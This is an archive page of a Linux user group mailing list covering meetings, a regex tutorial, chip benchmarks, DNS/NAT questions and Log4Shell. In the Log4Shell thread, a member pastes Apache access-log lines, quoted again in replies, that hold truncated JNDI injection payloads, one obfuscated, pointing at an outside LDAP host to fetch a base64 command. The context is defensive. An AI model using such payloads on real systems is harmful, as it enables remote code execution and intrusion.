- WLUG - wlug.mailman3.com

Re: Interactive regular expression tutorial

by Aljerin Butler,Jr.

Here are some more resources on regex that may be useful:http://customdesktopsolutions.mywebcommunity.org/index.php/linux-sys… On Thursday, January 6, 2022, 02:16:19 PM EST, kstratton--- via WLUG <wlug(a)lists.wlug.org> wrote: Found this. It might be old news, but I thought it was cool enough to share. https://regexone.com -- kstratton(a)fastmail.us _______________________________________________ WLUG mailing list -- wlug(a)lists.wlug.org To unsubscribe send an email to wlug-leave(a)lists.wlug.org Create Account: https://wlug.mailman3.com/accounts/signup/ Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/DJIHW…

Jan. 6, 2022

Interactive regular expression tutorial

by kstratton＠fastmail.us

Found this. It might be old news, but I thought it was cool enough to share. https://regexone.com -- kstratton(a)fastmail.us

Jan. 6, 2022

Re: Bug in the news

by Joseph G

Here's a good read on log4shell... https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/ and an ongoing list of vendor responses.... https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592 It's bound to bring us 'joy' in the holiday season and beyond! Joe

Dec. 15, 2021

Re: Bug in the news

by Charles R. Anderson, Jr.

This might be able to find out if your system has any traces of log4j installed: sudo find / -name '*log4j*' -print If that doesn't output anything, you are most likely safe. ________________________________ From: Chris Thompson via WLUG <wlug(a)lists.wlug.org> Sent: Wednesday, December 15, 2021 3:40 PM To: wlug(a)lists.wlug.org <wlug(a)lists.wlug.org> Cc: Chris Thompson <wolcen(a)riseup.net> Subject: [WLUG] Re: Bug in the news httpd does not use log4j. solr, on the other hand, normally does. ...and Minecraft, if that applies to your server :P ~Chris On 12/15/21 15:26, Keith Wright via WLUG wrote: > Michael Voorhis <mvoorhis(a)mcvau.net> writes: > >> Log4j is a Java logging library. >> If you're running apache and not using Java, >> I don't think you need to be concerned. >> >> See here... >> >> https://en.wikipedia.org/wiki/Log4Shell > Interesting link, thanks for that. > > I don't use Java, but is Apache using it without my knowledge? > > NB: I am a bear of little brain. -- Pooh > I can't. I don't know how it works! -- OZ > > I find in /var/log/httpd/access_log > > 95.54.160.149 - - [15/Dec/2021:12:59:07 -0500] > "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1c ... > ... > "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}: > //195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgL ... > ... > > So they are trying. How can tell if they succeeded? > > I have "gij" installed (by distro). I didn't know that two hours ago. > > What would break if I just deleted that? > > -- Keith

Dec. 15, 2021

Re: Bug in the news

by Chris Thompson

httpd does not use log4j. solr, on the other hand, normally does. ...and Minecraft, if that applies to your server :P ~Chris On 12/15/21 15:26, Keith Wright via WLUG wrote: > Michael Voorhis <mvoorhis(a)mcvau.net> writes: > >> Log4j is a Java logging library. >> If you're running apache and not using Java, >> I don't think you need to be concerned. >> >> See here... >> >> https://en.wikipedia.org/wiki/Log4Shell > Interesting link, thanks for that. > > I don't use Java, but is Apache using it without my knowledge? > > NB: I am a bear of little brain. -- Pooh > I can't. I don't know how it works! -- OZ > > I find in /var/log/httpd/access_log > > 95.54.160.149 - - [15/Dec/2021:12:59:07 -0500] > "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1c ... > ... > "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}: > //195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgL ... > ... > > So they are trying. How can tell if they succeeded? > > I have "gij" installed (by distro). I didn't know that two hours ago. > > What would break if I just deleted that? > > -- Keith > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/XJKAR…

Dec. 15, 2021

Re: Bug in the news

by Keith Wright

Michael Voorhis <mvoorhis(a)mcvau.net> writes: > Log4j is a Java logging library. > If you're running apache and not using Java, > I don't think you need to be concerned. > > See here... > > https://en.wikipedia.org/wiki/Log4Shell Interesting link, thanks for that. I don't use Java, but is Apache using it without my knowledge? NB: I am a bear of little brain. -- Pooh I can't. I don't know how it works! -- OZ I find in /var/log/httpd/access_log 95.54.160.149 - - [15/Dec/2021:12:59:07 -0500] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1c ... ... "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}: //195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgL ... ... So they are trying. How can tell if they succeeded? I have "gij" installed (by distro). I didn't know that two hours ago. What would break if I just deleted that? -- Keith

Dec. 15, 2021

Re: Bug in the news

by Michael Voorhis

Log4j is a Java logging library. If you're running apache and not using Java, I don't think you need to be concerned. See here... https://en.wikipedia.org/wiki/Log4Shell Dec 15, 2021 2:07:59 PM Keith Wright via WLUG <wlug(a)lists.wlug.org>: > Are we worried about Log4j / Log4shell (CVE-2021-44228)? > > I run Apache and never look at the log files. > > Where are they anyway? > Can I configure them out of existence, > or just log boring stuff? > > I don't need remote logging. > Can I just firewall packets? > > -- Keith > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/GVITN…

Dec. 15, 2021

Bug in the news

by Keith Wright

Are we worried about Log4j / Log4shell (CVE-2021-44228)? I run Apache and never look at the log files. Where are they anyway? Can I configure them out of existence, or just log boring stuff? I don't need remote logging. Can I just firewall packets? -- Keith

Dec. 15, 2021

Re: Reminder: December meeting! 12/09/2021 @7pm Hudson Public Library!

by Keith Wright

Tim Keller via WLUG <wlug(a)lists.wlug.org> writes: > Hey Everybody, > > We've got a meeting this Thursday at the Hudson Public Library! > > Topic: Jail breaking that Wii you've got laying around to run Linux! > Then I'm sure it'll get even more interesting! > I'd like to brain storm about topics we'd like to talk about next year! I am Wiiless, but always interested techniques to run it my way. > Ideas that have been talked about: > 1. Pi-hole. What it is, how it works and why you want one! > 2. Raspberry Pi clusters.. How to build one and what would you do with one? > 3. Ham radio and Linux. > > I'll have snacks and refreshments on hand, > we'll head off to dinner afterwards! I notice no mention was made of > > Secondly, the meeting will also be online at our usual Jitsi location for > > people who can't make it in person. https://meet.jit.si/WlugMA I couldn't get into that the last time, but it is said by one who knows that it was working. I don't know if I will have a jit.si capable computer, but I do know that I will not be in Hudson tonight. I would like to check in. Can I assume that someone will do what someone has done to make what has happened before happen again? Or will the forgotten past be gone forever into the memory hole? -- Keith PS: https://meet.jit.si/WlugMA hereby goes viral!

Dec. 9, 2021

Re: Reminder: December meeting! 12/09/2021 @7pm Hudson Public Library!

by Andrew Oprea

Hi Everyone, Is the usual meet.jit.si/WlugMA going to be up for far away participants? I've also got 30 seconds of follow up about what I've learned configuring my minimalist wifi repeater. I'll gladly type it out and mail it here if a mixed mode meeting isn't the plan tonight. Thanks again for the help, Drew On Thu, Dec 9, 2021 at 2:24 PM Joshua Stone via WLUG <wlug(a)lists.wlug.org> wrote: > Hey Tim, > > Thanks for the update! This meeting agenda looks exciting! I might get > some new inspiration for my Raspberry Pi. > > Do we have a preference for where we could eat after this meeting? Rail > Trail Flatbread seemed to work well last time, maybe we can try Less Than > Greater Than? > > https://www.lessthangreaterthan.com/eat > > - Josh > > On Tue, Dec 7, 2021 at 11:50 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> > wrote: > >> Hey Everybody, >> >> We've got a meeting this Thursday at the Hudson Public Library! >> >> Topic: Jail breaking that Wii you've got laying around to run Linux! >> Then I'm sure it'll get even more interesting! >> I'd like to brain storm about topics we'd like to talk about next year! >> >> Ideas that have been talked about: >> 1. Pi-hole. What it is, how it works and why you want one! >> 2. Raspberry Pi clusters.. How to build one and what would you do with >> one? >> 3. Ham radio and Linux. >> >> I'll have snacks and refreshments on hand, we'll head off to dinner >> afterwards! >> Later, >> Tim. >> -- >> I am leery of the allegiances of any politician who refers to their >> constituents as "consumers". >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/DX7SR… >> > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/JDVHP… >

Dec. 9, 2021

Re: Reminder: December meeting! 12/09/2021 @7pm Hudson Public Library!

by Joshua Stone

Hey Tim, Thanks for the update! This meeting agenda looks exciting! I might get some new inspiration for my Raspberry Pi. Do we have a preference for where we could eat after this meeting? Rail Trail Flatbread seemed to work well last time, maybe we can try Less Than Greater Than? https://www.lessthangreaterthan.com/eat - Josh On Tue, Dec 7, 2021 at 11:50 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > Hey Everybody, > > We've got a meeting this Thursday at the Hudson Public Library! > > Topic: Jail breaking that Wii you've got laying around to run Linux! > Then I'm sure it'll get even more interesting! > I'd like to brain storm about topics we'd like to talk about next year! > > Ideas that have been talked about: > 1. Pi-hole. What it is, how it works and why you want one! > 2. Raspberry Pi clusters.. How to build one and what would you do with one? > 3. Ham radio and Linux. > > I'll have snacks and refreshments on hand, we'll head off to dinner > afterwards! > Later, > Tim. > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/DX7SR… >

Dec. 9, 2021

Reminder: December meeting! 12/09/2021 @7pm Hudson Public Library!

by Tim Keller

Hey Everybody, We've got a meeting this Thursday at the Hudson Public Library! Topic: Jail breaking that Wii you've got laying around to run Linux! Then I'm sure it'll get even more interesting! I'd like to brain storm about topics we'd like to talk about next year! Ideas that have been talked about: 1. Pi-hole. What it is, how it works and why you want one! 2. Raspberry Pi clusters.. How to build one and what would you do with one? 3. Ham radio and Linux. I'll have snacks and refreshments on hand, we'll head off to dinner afterwards! Later, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Dec. 8, 2021

Re: Reminder: November WLUG Meeting at the Hudson Public Library! Topic: Intel Management Engine.

by Jon "maddog" Hall

Keith, I was there, virtually, from 1900 to 2000 EST and Jitsey was doing fine. Sorry you had problems. md On Fri, Nov 19, 2021, 16:23 Keith Wright via WLUG <wlug(a)lists.wlug.org> wrote: > Tim Keller via WLUG <wlug(a)lists.wlug.org> writes: > > > We've got a meeting this Thursday November 18th, 2021 at 7pm - 8:30pm at > > the Hudson Public Library! > > > > Firstly, a big shout out to Joshua Stone for making > > the reservation at the Hudson Public Library. > > I live in Worcester. For a long time I just walked up the hill > to WLUG at WPI. I got bad at walking, so I got a ride and hung > out in the library until meeting time. Those days are over. > > I don't know where Hudson is. I assume it's in Worcester county. > The "W" in "WLUG" no longer stands for WPI, or even Wormtown. OK. > > > Secondly, the meeting will also be online at our usual Jitsi location for > > people who can't make it in person. https://meet.jit.si/WlugMA > > Did this happen? I was having a slow day after getting a anti-covid > booster Wednesday, thinking of just skipping the whole thing. Diane > was not home, so I could not use her laptop as I have in the past > to join jit.si WLUG meetings, but I tried to connect with my own. > > It is not really usable, with its built in microphone and speaker > feedbacking, but I thought I could listen and wave. I could see > myself on screen, so I know the camera was working. The microphone > seemed to be working, but when I pushed the "join meeting" button > nothing happened. This was probably around 7:30. > > I assumed my own system (hardware, sofrware, network...) was the > problem, but on further thought maybe you guys did not get it set up, > or quit when nobody else joined the meeting for half an hour. > > > The topic we'll be discussing at the meeting is the Intel > > Management Engine technology buried in every Intel CPU. > > I think I had better find out about this some other way. > > Thanks for the heads-up. What good is it to have the source code, > if you can't trust the computer to run it? > > > We'll talk about those flaws and how to disable it! > > Any pointers to more info? > > -- Keith > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/3E27D… >

Nov. 19, 2021

Re: Reminder: November WLUG Meeting at the Hudson Public Library! Topic: Intel Management Engine.

by Keith Wright

Tim Keller via WLUG <wlug(a)lists.wlug.org> writes: > We've got a meeting this Thursday November 18th, 2021 at 7pm - 8:30pm at > the Hudson Public Library! > > Firstly, a big shout out to Joshua Stone for making > the reservation at the Hudson Public Library. I live in Worcester. For a long time I just walked up the hill to WLUG at WPI. I got bad at walking, so I got a ride and hung out in the library until meeting time. Those days are over. I don't know where Hudson is. I assume it's in Worcester county. The "W" in "WLUG" no longer stands for WPI, or even Wormtown. OK. > Secondly, the meeting will also be online at our usual Jitsi location for > people who can't make it in person. https://meet.jit.si/WlugMA Did this happen? I was having a slow day after getting a anti-covid booster Wednesday, thinking of just skipping the whole thing. Diane was not home, so I could not use her laptop as I have in the past to join jit.si WLUG meetings, but I tried to connect with my own. It is not really usable, with its built in microphone and speaker feedbacking, but I thought I could listen and wave. I could see myself on screen, so I know the camera was working. The microphone seemed to be working, but when I pushed the "join meeting" button nothing happened. This was probably around 7:30. I assumed my own system (hardware, sofrware, network...) was the problem, but on further thought maybe you guys did not get it set up, or quit when nobody else joined the meeting for half an hour. > The topic we'll be discussing at the meeting is the Intel > Management Engine technology buried in every Intel CPU. I think I had better find out about this some other way. Thanks for the heads-up. What good is it to have the source code, if you can't trust the computer to run it? > We'll talk about those flaws and how to disable it! Any pointers to more info? -- Keith

Nov. 19, 2021

Re: Reminder: November WLUG Meeting at the Hudson Public Library! Topic: Intel Management Engine.

by Joshua Stone

Hey Forrest, Great to hear from you! It was nice to see fellow residents at the meeting! More on the parking situation, the town does list numerous public parking spots in downtown that visitors can use, most within a few minutes of walking: https://www.discoverhudson.org/plan-your-visit/ - *Library:* 3 Washington St, <https://www.google.com/maps/place/3+Washington+St,+Hudson,+MA+01749> Hudson <https://www.google.com/maps/place/3+Washington+St,+Hudson,+MA+01749> - *South Street Parking Lot:* 25 South St, Hudson <https://www.google.com/maps/dir/25+South+St,+Hudson,+MA+01749/Hudson+Public…> - *Avidia Lot after 6PM:* 78 Main St, Hudson <https://www.google.com/maps/dir/78+Main+St,+Hudson,+MA+01749/Hudson+Public+…> - *Cellucci Parking:* 23 Houghton St, Hudson <https://www.google.com/maps/dir/23+Houghton+St,+Hudson,+MA+01749/Hudson+Pub…> - *RailRoad Ave. and Church Street Parking:* Nearby 29 Church St, Hudson <https://www.google.com/maps/dir/29+Church+St,+Hudson,+MA+01749/Hudson+Publi…> - *2 Hour Parking Lot:* 8 South St, Hudson <https://www.google.com/maps/dir/8+South+St,+Hudson,+MA+01749/Hudson+Public+…> There are also plenty of side streets that people will use for off-street parking. Admittedly Hudson's parking situation isn't the most convenient for visitors who aren't used to the area, and this is backed up with a parking study: https://www.townofhudson.org/sites/g/files/vyhlif3281/f/pages/parking_repor… *There are 1,400 parking spaces, but many spaces are hard to find. * > − There is a perception of lack of parking > − Many lots do not have clear or visible signage that indicates whether or > not one can > park there > − There are more than a dozen different types of regulations > − Half of off-street parking is "restricted access", meaning that the lots > are not available > to the general public > − There are some lots that are publicly owned and available to the general > public, yet > most of the stakeholders and workshop participants we spoke with did not > know they > existed > − Some parking areas are difficult to find from the roadway and/or > challenging to > access, so they end up being underutilized > − Overall signage is confusing to customers > The study is fairly old and the parking situation may have improved since then, but I think the point is clear that there's a demand for improved parking. I hope the town will do more to make parking easier to find instead of adding more parking spaces. We definitely have plenty of parking, it's just that visitors may have to plan ahead as it's not designed like a shopping plaza with massive parking lots in front of storefronts. I also hope the town will do more to invest in transit so car traffic and parking demand are reduced. As it stands right now, our regional transit authority has a fairly limited schedule and its coverage isn't great either: https://www.mwrta.com/routes/fixed-routes/route-15 It is for example technically possible to travel from Hudson to Boston via bus and train, but it will take an excruciatingly long time, requires multiple transfers, and may even be at times be unsafe due to poor pedestrian infrastructure along the route: https://www.google.com/maps/dir/Peter's+Grove,+11+Lake+St,+Hudson,+MA+01749/Back+Bay,+145+Dartmouth+St,+Boston,+MA+02116 This is why my wife and I compromise by driving to the train station first when going on day trips into the city. We hope to further reduce our car dependency by having more robust public transit in the central Mass area. There's something to be said for having the freedom to travel without needing to take several tons of privately-owned metal with you. - Josh On Fri, Nov 19, 2021 at 8:06 AM Forrest S via WLUG <wlug(a)lists.wlug.org> wrote: > Hey Tim, > > Names Forrest I introduced myself a while back on the forum I live in > Hudson and know the area pretty well so I will be there for my first > in-person meeting and so for everyone who does not know there is a parking > lot in the back behind the fire station it is right next to the library > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/EYMTC… >

Nov. 19, 2021

Re: Reminder: November WLUG Meeting at the Hudson Public Library! Topic: Intel Management Engine.

by Joshua Stone

Hey Forrest, Great to hear from you! It's nice to see a fellow resident! More on the parking situation, the town does list numerous public parking spots in downtown that visitors can use, most within a few minutes of walking: https://www.discoverhudson.org/plan-your-visit/ - *Library:* 3 Washington St, <https://www.google.com/maps/place/3+Washington+St,+Hudson,+MA+01749> Hudson <https://www.google.com/maps/place/3+Washington+St,+Hudson,+MA+01749> - *South Street Parking Lot:* 25 South St, Hudson <https://www.google.com/maps/dir/25+South+St,+Hudson,+MA+01749/Hudson+Public…> - *Avidia Lot after 6PM:* 78 Main St, Hudson <https://www.google.com/maps/dir/78+Main+St,+Hudson,+MA+01749/Hudson+Public+…> - *Cellucci Parking:* 23 Houghton St, Hudson <https://www.google.com/maps/dir/23+Houghton+St,+Hudson,+MA+01749/Hudson+Pub…> - *RailRoad Ave. and Church Street Parking:* Nearby 29 Church St, Hudson <https://www.google.com/maps/dir/29+Church+St,+Hudson,+MA+01749/Hudson+Publi…> - *2 Hour Parking Lot:* 8 South St, Hudson <https://www.google.com/maps/dir/8+South+St,+Hudson,+MA+01749/Hudson+Public+…> There are also plenty of side streets that people will use for off-street parking. Admittedly Hudson's parking situation isn't the most convenient for visitors who aren't used to the area, and this is backed up with a parking study: https://www.townofhudson.org/sites/g/files/vyhlif3281/f/pages/parking_repor… *There are 1,400 parking spaces, but many spaces are hard to find. * > − There is a perception of lack of parking > − Many lots do not have clear or visible signage that indicates whether or > not one can > park there > − There are more than a dozen different types of regulations > − Half of off-street parking is "restricted access", meaning that the lots > are not available > to the general public > − There are some lots that are publicly owned and available to the general > public, yet > most of the stakeholders and workshop participants we spoke with did not > know they > existed > − Some parking areas are difficult to find from the roadway and/or > challenging to > access, so they end up being underutilized > − Overall signage is confusing to customers > The study is fairly old and the parking situation may have improved since then, but I think the point is clear that there's a demand for improved parking. I hope the town will do more to make parking easier to find instead of adding more parking spaces. We definitely have plenty of parking, it's just that visitors may have to plan ahead as it's not designed like a shopping plaza with massive parking lots in front of storefronts. I also hope the town will do more to invest in transit so car traffic and parking demand are reduced. As it stands right now, our regional transit authority has a fairly limited schedule and its coverage isn't great either: https://www.mwrta.com/routes/fixed-routes/route-15 It is for example technically possible to travel from Hudson to Boston via bus and train, but it will take an excruciatingly long time, requires multiple transfers, and may even be at times be unsafe due to poor pedestrian infrastructure along the route: https://www.google.com/maps/dir/Peter's+Grove,+11+Lake+St,+Hudson,+MA+01749/Back+Bay,+145+Dartmouth+St,+Boston,+MA+02116 This is why my wife and I compromise by driving to the train station first when going on day trips into the city. We hope to further reduce our car dependency by having more robust public transit in the central Mass area. There's something to be said by having the freedom to travel to places without needing to take several tons of privately-owned metal with you. - Josh On Fri, Nov 19, 2021 at 8:06 AM Forrest S via WLUG <wlug(a)lists.wlug.org> wrote: > Hey Tim, > > Names Forrest I introduced myself a while back on the forum I live in > Hudson and know the area pretty well so I will be there for my first > in-person meeting and so for everyone who does not know there is a parking > lot in the back behind the fire station it is right next to the library > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/EYMTC… >

Nov. 19, 2021

Re: Reminder: November WLUG Meeting at the Hudson Public Library! Topic: Intel Management Engine.

by Joshua Stone

Hey Tim, Thanks for the shout out! I'm happy to help set up meetings like this so long as there's interest! I've also informed my colleagues today (admittedly on short notice) about this meeting, so we might get some more attendees or listeners this time around! - Josh On Tue, Nov 16, 2021 at 12:48 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > > Hey Everybody, > > We've got a meeting this Thursday November 18th, 2021 at 7pm - 8:30pm at > the Hudson Public Library! > > Firstly, a big shout out to Joshua Stone for making the reservation at the > Hudson Public Library. > > Secondly, the meeting will also be online at our usual Jitsi location for > people who can't make it in person. https://meet.jit.si/WlugMA > > The topic we'll be discussing at the meeting is the Intel Management > Engine technology buried in every Intel CPU. This technology includes a > version of Minix running on a separate core inside your CPU you don't > control. Moreover, with the right software, changes to your machine can be > made remotely, even when the system is powered off (but connected to > power). As with all this stuff, of course since the whole thing is cooked > into the firmware, it's full of security flaws, etc.. We'll talk about > those flaws and how to disable it! > > We'll also likely touch on the Tesla Dojo D1 processing unit. They've made > some claims that I've posted to the mailing list. Logan did some digging > and it turns out their claims are not as blow your mind as would be first > interpreted. > > The Hudson Public Library does allow food and drink, so I will bring the > usual pretzels and snacks. Afterwards we will be going to Rail Trail > Flatbread <https://railtrailflatbread.com/>for dinner. > > Toss me a line privately if you'll be attending so we've got an idea of > how many people will be going out for dinner. > > I look forward to seeing you there! > Later, > Tim. > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/XG3JH… >

Nov. 18, 2021

Re: Reminder: November WLUG Meeting at the Hudson Public Library! Topic: Intel Management Engine.

by Forrest S

Hey Tim, Names Forrest I introduced myself a while back on the forum I live in Hudson and know the area pretty well so I will be there for my first in-person meeting and so for everyone who does not know there is a parking lot in the back behind the fire station it is right next to the library

Nov. 18, 2021

Reminder: November WLUG Meeting at the Hudson Public Library! Topic: Intel Management Engine.

by Tim Keller

Hey Everybody, We've got a meeting this Thursday November 18th, 2021 at 7pm - 8:30pm at the Hudson Public Library! Firstly, a big shout out to Joshua Stone for making the reservation at the Hudson Public Library. Secondly, the meeting will also be online at our usual Jitsi location for people who can't make it in person. https://meet.jit.si/WlugMA The topic we'll be discussing at the meeting is the Intel Management Engine technology buried in every Intel CPU. This technology includes a version of Minix running on a separate core inside your CPU you don't control. Moreover, with the right software, changes to your machine can be made remotely, even when the system is powered off (but connected to power). As with all this stuff, of course since the whole thing is cooked into the firmware, it's full of security flaws, etc.. We'll talk about those flaws and how to disable it! We'll also likely touch on the Tesla Dojo D1 processing unit. They've made some claims that I've posted to the mailing list. Logan did some digging and it turns out their claims are not as blow your mind as would be first interpreted. The Hudson Public Library does allow food and drink, so I will bring the usual pretzels and snacks. Afterwards we will be going to Rail Trail Flatbread <https://railtrailflatbread.com/>for dinner. Toss me a line privately if you'll be attending so we've got an idea of how many people will be going out for dinner. I look forward to seeing you there! Later, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Nov. 16, 2021

Re: Dojo D1

by Tim Keller

That's good to know.. Thanks for digging deeper into this. On Mon, Nov 15, 2021 at 4:48 PM Logan Brown via WLUG <wlug(a)lists.wlug.org> wrote: > So, as with everything Tesla, there’s a whole lot of asterisks involved: > > - Each individual Dojo D1 chip is only 22.6 TFLOP FP32 at 400w of > power consumption. Compared to the newly announced AMD Instinct MI250, > which pushes 45.3 TFLOP F32 at 500w. > - The claims of 9 PFLOP per tile is only if you’re using the new > custom floating point format that they’ve created ( > https://www.scribd.com/document/535276674/Tesla-Dojo-Technology) > Regular FP32, you’re talking about 565 TFLOP per tile or 6.7 PFLOP per rack > (120kw draw) - fast, but when AMD is offering 348 TFLOP F32 in a standard > 2U form factor and you can put 24 of those in a standard rack for 8.3 PFLOP > per rack (96kw draw), not so impressive. > > > > > > > > *From: *Bob via WLUG <wlug(a)lists.wlug.org> > *Sent: *Monday, November 15, 2021 16:29 > *To: *Tim Keller via WLUG <wlug(a)lists.wlug.org> > *Cc: *Bob <robert.athol.mass(a)gmail.com> > *Subject: *[WLUG] Re: Dojo D1 > > > > I want two. > > On 9/29/2021 4:37 PM, Tim Keller via WLUG wrote: > > I just finally got to see the stuff about Tesla's Dojo Processor stuff. > > > > 9 PFLOPS per "tile" and 36 TB/s of bandwidth. > > https://www.youtube.com/watch?v=pPHX7e1BxSM > > Um..wow. > > > > Tim. > > > > -- > > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > > > > _______________________________________________ > > WLUG mailing list -- wlug(a)lists.wlug.org > > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > > Create Account: https://wlug.mailman3.com/accounts/signup/ > > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/OOBBL… > > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/FRZFO… > -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Nov. 16, 2021

Re: Dojo D1

by Logan Brown

So, as with everything Tesla, there’s a whole lot of asterisks involved: * Each individual Dojo D1 chip is only 22.6 TFLOP FP32 at 400w of power consumption. Compared to the newly announced AMD Instinct MI250, which pushes 45.3 TFLOP F32 at 500w. * The claims of 9 PFLOP per tile is only if you’re using the new custom floating point format that they’ve created (https://www.scribd.com/document/535276674/Tesla-Dojo-Technology) Regular FP32, you’re talking about 565 TFLOP per tile or 6.7 PFLOP per rack (120kw draw) - fast, but when AMD is offering 348 TFLOP F32 in a standard 2U form factor and you can put 24 of those in a standard rack for 8.3 PFLOP per rack (96kw draw), not so impressive. From: Bob via WLUG<mailto:wlug@lists.wlug.org> Sent: Monday, November 15, 2021 16:29 To: Tim Keller via WLUG<mailto:wlug@lists.wlug.org> Cc: Bob<mailto:robert.athol.mass@gmail.com> Subject: [WLUG] Re: Dojo D1 I want two. On 9/29/2021 4:37 PM, Tim Keller via WLUG wrote: I just finally got to see the stuff about Tesla's Dojo Processor stuff. 9 PFLOPS per "tile" and 36 TB/s of bandwidth. https://www.youtube.com/watch?v=pPHX7e1BxSM Um..wow. Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers". _______________________________________________ WLUG mailing list -- wlug(a)lists.wlug.org<mailto:wlug@lists.wlug.org> To unsubscribe send an email to wlug-leave(a)lists.wlug.org<mailto:wlug-leave@lists.wlug.org> Create Account: https://wlug.mailman3.com/accounts/signup/ Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/OOBBL…

Nov. 15, 2021

Re: Use same hostname internally and externally

by Brandon Hartshorn

On 2021-11-12 10:50, brad via WLUG wrote: > However android and iOS do not appear to honer my local dns server — > I’m not sure why — so they resolve the address to a routable IP and > connect from within the private 192.168.1.0 subnet. My firewall sees > this and drops it b/c it is a non-routable IP address connecting to > the external interface. (I got this info by running tcpdump and > watching traffic). > > Has anyone attempted something similar? Is there something I’m > overlooking? (Probably) Yeah, you're not missing anything - mobile devices are just sortof a PITA. Throw in a work device which tunnels all DNS over VPN and it turns in to a real headache. If you can't seem to get the phones to obey (blocking external DNS or re-directing it *might* work), you may have to resort to NAT reflection. It's working OK for me on pfSense. Unfortunately, all traffic ends up going through the firewall, but the performance hit probably isn't too critical for most things. Here's docs for doing this in pfSense, other "real" routers should have a similar functionality: https://docs.netgate.com/pfsense/en/latest/nat/reflection.html

Nov. 15, 2021

Meeting in Hudson and Main Street Contest

by Joshua Stone

